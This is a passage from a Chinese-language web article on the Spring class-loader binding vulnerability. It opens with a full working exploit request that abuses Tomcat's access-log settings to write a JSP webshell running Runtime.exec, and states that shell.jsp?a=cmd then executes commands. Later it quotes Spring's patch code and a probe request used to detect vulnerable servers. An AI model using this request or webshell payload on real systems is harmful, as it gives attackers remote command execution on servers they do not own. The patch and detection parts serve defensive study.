发送报文
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1Host: 7.223.181.36:38888Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closecmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>就可以利用 shell.jsp?a=cmd 来执行命令了
Spring 在获取属性描述符时加强了判断,只留下了 name 属性 。
if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) { // Only allow all name variants of Class properties continue;}if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType()) || ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) { // Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those continue;}
通过错误地设置 classloader 下的属性来触发 BindException异常让服务端返回异常即可判断是否存在漏洞,例如发送
GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1Host: 127.0.0.1:39999Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close服务端返回
HTTP/1.1 400 Content-Type: text/html;charset=UTF-8Content-Language: zh-CNContent-Length: 277Date: Fri, 08 Apr 2022 03:49:42 GMTConnection: close<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are se
推荐阅读
- 如何自己开发漏洞扫描工具
- 九号、雅迪、爱玛、台铃电动车怎么选?都有什么优缺点?一次性分析明白
- 苹果|黑客可全面控制 苹果曝出严重安全漏洞!这项更新建议所有人升级
- 关于上不了网的原因分析和解决办法 不能上网的原因
- 苹果|苹果严重安全漏洞冲上热搜第一:黑客能接管设备
- 水质分析中重金属检测技术 水质重金属分析
- 供应链金融五大模式分析与举例 供应链金融业务模式
- 分析月经期不能吃什么
- 衬衫|美发店铺选址要分析的核心点,让店铺独占鳌头
- NVIDIA|5nm显卡即将发布 分析师对NVIDIA变脸:快抄底